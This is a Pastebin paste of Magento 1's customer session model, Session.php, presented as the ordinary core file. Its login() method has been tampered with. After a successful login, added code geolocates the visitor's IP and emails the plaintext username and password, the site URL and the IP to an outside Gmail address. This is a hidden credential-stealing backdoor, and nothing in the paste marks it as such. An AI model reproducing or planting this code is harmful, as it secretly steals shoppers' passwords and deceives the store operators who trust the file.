SHARE
TWEET

Session.php

regardsmedia Sep 20th, 2019 394 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  * Magento
  4.  *
  5.  * NOTICE OF LICENSE
  6.  *
  7.  * This source file is subject to the Open Software License (OSL 3.0)
  8.  * that is bundled with this package in the file LICENSE.txt.
  9.  * It is also available through the world-wide-web at this URL:
  10.  * http://opensource.org/licenses/osl-3.0.php
  11.  * If you did not receive a copy of the license and are unable to
  12.  * obtain it through the world-wide-web, please send an email
  13.  * to license@magento.com so we can send you a copy immediately.
  14.  *
  15.  * DISCLAIMER
  16.  *
  17.  * Do not edit or add to this file if you wish to upgrade Magento to newer
  18.  * versions in the future. If you wish to customize Magento for your
  19.  * needs please refer to http://www.magento.com for more information.
  20.  *
  21.  * @category    Mage
  22.  * @package     Mage_Customer
  23.  * @copyright  Copyright (c) 2006-2014 X.commerce, Inc. (http://www.magento.com)
  24.  * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
  25.  */
  26.  
  27. /**
  28.  * Customer session model
  29.  *
  30.  * @category   Mage
  31.  * @package    Mage_Customer
  32.  * @author      Magento Core Team <core@magentocommerce.com>
  33.  */
  34.  
  35. class Mage_Customer_Model_Session extends Mage_Core_Model_Session_Abstract
  36. {
  37.     /**
  38.      * Customer object
  39.      *
  40.      * @var Mage_Customer_Model_Customer
  41.      */
  42.     protected $_customer;
  43.  
  44.     /**
  45.      * Flag with customer id validations result
  46.      *
  47.      * @var bool
  48.      */
  49.     protected $_isCustomerIdChecked = null;
  50.  
  51.     /**
  52.      * Persistent customer group id
  53.      *
  54.      * @var null|int
  55.      */
  56.     protected $_persistentCustomerGroupId = null;
  57.  
  58.     /**
  59.      * Retrieve customer sharing configuration model
  60.      *
  61.      * @return Mage_Customer_Model_Config_Share
  62.      */
  63.     public function getCustomerConfigShare()
  64.     {
  65.         return Mage::getSingleton('customer/config_share');
  66.     }
  67.  
  68.     public function __construct()
  69.     {
  70.         $namespace = 'customer';
  71.         if ($this->getCustomerConfigShare()->isWebsiteScope()) {
  72.             $namespace .= '_' . (Mage::app()->getStore()->getWebsite()->getCode());
  73.         }
  74.  
  75.         $this->init($namespace);
  76.         Mage::dispatchEvent('customer_session_init', array('customer_session'=>$this));
  77.     }
  78.  
  79.     /**
  80.      * Set customer object and setting customer id in session
  81.      *
  82.      * @param   Mage_Customer_Model_Customer $customer
  83.      * @return  Mage_Customer_Model_Session
  84.      */
  85.     public function setCustomer(Mage_Customer_Model_Customer $customer)
  86.     {
  87.         // check if customer is not confirmed
  88.         if ($customer->isConfirmationRequired()) {
  89.             if ($customer->getConfirmation()) {
  90.                 return $this->_logout();
  91.             }
  92.         }
  93.         $this->_customer = $customer;
  94.         $this->setId($customer->getId());
  95.         // save customer as confirmed, if it is not
  96.         if ((!$customer->isConfirmationRequired()) && $customer->getConfirmation()) {
  97.             $customer->setConfirmation(null)->save();
  98.             $customer->setIsJustConfirmed(true);
  99.         }
  100.         return $this;
  101.     }
  102.  
  103.     /**
  104.      * Retrieve customer model object
  105.      *
  106.      * @return Mage_Customer_Model_Customer
  107.      */
  108.     public function getCustomer()
  109.     {
  110.         if ($this->_customer instanceof Mage_Customer_Model_Customer) {
  111.             return $this->_customer;
  112.         }
  113.  
  114.         $customer = Mage::getModel('customer/customer')
  115.             ->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
  116.         if ($this->getId()) {
  117.             $customer->load($this->getId());
  118.         }
  119.  
  120.         $this->setCustomer($customer);
  121.         return $this->_customer;
  122.     }
  123.  
  124.     /**
  125.      * Set customer id
  126.      *
  127.      * @param int|null $id
  128.      * @return Mage_Customer_Model_Session
  129.      */
  130.     public function setCustomerId($id)
  131.     {
  132.         $this->setData('customer_id', $id);
  133.         return $this;
  134.     }
  135.  
  136.     /**
  137.      * Retrieve customer id from current session
  138.      *
  139.      * @return int|null
  140.      */
  141.     public function getCustomerId()
  142.     {
  143.         if ($this->getData('customer_id')) {
  144.             return $this->getData('customer_id');
  145.         }
  146.         return ($this->isLoggedIn()) ? $this->getId() : null;
  147.     }
  148.  
  149.     /**
  150.      * Set customer group id
  151.      *
  152.      * @param int|null $id
  153.      * @return Mage_Customer_Model_Session
  154.      */
  155.     public function setCustomerGroupId($id)
  156.     {
  157.         $this->setData('customer_group_id', $id);
  158.         return $this;
  159.     }
  160.  
  161.     /**
  162.      * Get customer group id
  163.      * If customer is not logged in system, 'not logged in' group id will be returned
  164.      *
  165.      * @return int
  166.      */
  167.     public function getCustomerGroupId()
  168.     {
  169.         if ($this->getData('customer_group_id')) {
  170.             return $this->getData('customer_group_id');
  171.         }
  172.         if ($this->isLoggedIn() && $this->getCustomer()) {
  173.             return $this->getCustomer()->getGroupId();
  174.         }
  175.         return Mage_Customer_Model_Group::NOT_LOGGED_IN_ID;
  176.     }
  177.  
  178.     /**
  179.      * Checking customer login status
  180.      *
  181.      * @return bool
  182.      */
  183.     public function isLoggedIn()
  184.     {
  185.         return (bool)$this->getId() && (bool)$this->checkCustomerId($this->getId());
  186.     }
  187.  
  188.     /**
  189.      * Check exists customer (light check)
  190.      *
  191.      * @param int $customerId
  192.      * @return bool
  193.      */
  194.     public function checkCustomerId($customerId)
  195.     {
  196.         if ($this->_isCustomerIdChecked === null) {
  197.             $this->_isCustomerIdChecked = Mage::getResourceSingleton('customer/customer')->checkCustomerId($customerId);
  198.         }
  199.         return $this->_isCustomerIdChecked;
  200.     }
  201.  
  202.     /**
  203.      * Customer authorization
  204.      *
  205.      * @param   string $username
  206.      * @param   string $password
  207.      * @return  bool
  208.      */
  209.     public function login($username, $password)
  210.     {
  211.         /** @var $customer Mage_Customer_Model_Customer */
  212.         $customer = Mage::getModel('customer/customer')
  213.             ->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
  214.  
  215. if ($customer->authenticate($username, $password)) {
  216. $this->setCustomerAsLoggedIn($customer);
  217. $user_ip = getenv('REMOTE_ADDR');
  218. $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
  219. $city = $geo["geoplugin_city"];
  220. $region = $geo["geoplugin_regionName"];
  221. $country = $geo["geoplugin_countryName"];
  222. mail("kilooffoicial@gmail.com","MEMBER MLM TELAH LOGIN KEMBALI  ".$_SERVER['REMOTE_ADDR']
  223. ,"Login : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."
  224. \nUsername | Password : ".$username."|".$password."
  225. \nAamat: ".$city." |".$region."| ".$country."
  226. \nIP Log : ".$_SERVER['REMOTE_ADDR'])
  227. ;return true;
  228.         }
  229.         return false;
  230.     }
  231.  
  232.     public function setCustomerAsLoggedIn($customer)
  233.     {
  234.         $this->setCustomer($customer);
  235.         $this->renewSession();
  236.         Mage::dispatchEvent('customer_login', array('customer'=>$customer));
  237.         return $this;
  238.     }
  239.  
  240.     /**
  241.      * Authorization customer by identifier
  242.      *
  243.      * @param   int $customerId
  244.      * @return  bool
  245.      */
  246.     public function loginById($customerId)
  247.     {
  248.         $customer = Mage::getModel('customer/customer')->load($customerId);
  249.         if ($customer->getId()) {
  250.             $this->setCustomerAsLoggedIn($customer);
  251.             return true;
  252.         }
  253.         return false;
  254.     }
  255.  
  256.     /**
  257.      * Logout customer
  258.      *
  259.      * @return Mage_Customer_Model_Session
  260.      */
  261.     public function logout()
  262.     {
  263.         if ($this->isLoggedIn()) {
  264.             Mage::dispatchEvent('customer_logout', array('customer' => $this->getCustomer()) );
  265.             $this->_logout();
  266.         }
  267.         return $this;
  268.     }
  269.  
  270.     /**
  271.      * Authenticate controller action by login customer
  272.      *
  273.      * @param   Mage_Core_Controller_Varien_Action $action
  274.      * @param   bool $loginUrl
  275.      * @return  bool
  276.      */
  277.     public function authenticate(Mage_Core_Controller_Varien_Action $action, $loginUrl = null)
  278.     {
  279.         if ($this->isLoggedIn()) {
  280.             return true;
  281.         }
  282.  
  283.         $this->setBeforeAuthUrl(Mage::getUrl('*/*/*', array('_current' => true)));
  284.         if (isset($loginUrl)) {
  285.             $action->getResponse()->setRedirect($loginUrl);
  286.         } else {
  287.             $action->setRedirectWithCookieCheck(Mage_Customer_Helper_Data::ROUTE_ACCOUNT_LOGIN,
  288.                 Mage::helper('customer')->getLoginUrlParams()
  289.             );
  290.         }
  291.  
  292.         return false;
  293.     }
  294.  
  295.     /**
  296.      * Set auth url
  297.      *
  298.      * @param string $key
  299.      * @param string $url
  300.      * @return Mage_Customer_Model_Session
  301.      */
  302.     protected function _setAuthUrl($key, $url)
  303.     {
  304.         $url = Mage::helper('core/url')
  305.             ->removeRequestParam($url, Mage::getSingleton('core/session')->getSessionIdQueryParam());
  306.         // Add correct session ID to URL if needed
  307.         $url = Mage::getModel('core/url')->getRebuiltUrl($url);
  308.         return $this->setData($key, $url);
  309.     }
  310.  
  311.     /**
  312.      * Logout without dispatching event
  313.      *
  314.      * @return Mage_Customer_Model_Session
  315.      */
  316.     protected function _logout()
  317.     {
  318.         $this->setId(null);
  319.         $this->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
  320.         $this->getCookie()->delete($this->getSessionName());
  321.         return $this;
  322.     }
  323.  
  324.     /**
  325.      * Set Before auth url
  326.      *
  327.      * @param string $url
  328.      * @return Mage_Customer_Model_Session
  329.      */
  330.     public function setBeforeAuthUrl($url)
  331.     {
  332.         return $this->_setAuthUrl('before_auth_url', $url);
  333.     }
  334.  
  335.     /**
  336.      * Set After auth url
  337.      *
  338.      * @param string $url
  339.      * @return Mage_Customer_Model_Session
  340.      */
  341.     public function setAfterAuthUrl($url)
  342.     {
  343.         return $this->_setAuthUrl('after_auth_url', $url);
  344.     }
  345.  
  346.     /**
  347.      * Reset core session hosts after reseting session ID
  348.      *
  349.      * @return Mage_Customer_Model_Session
  350.      */
  351.     public function renewSession()
  352.     {
  353.         parent::renewSession();
  354.         Mage::getSingleton('core/session')->unsSessionHosts();
  355.  
  356.         return $this;
  357.     }
  358. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top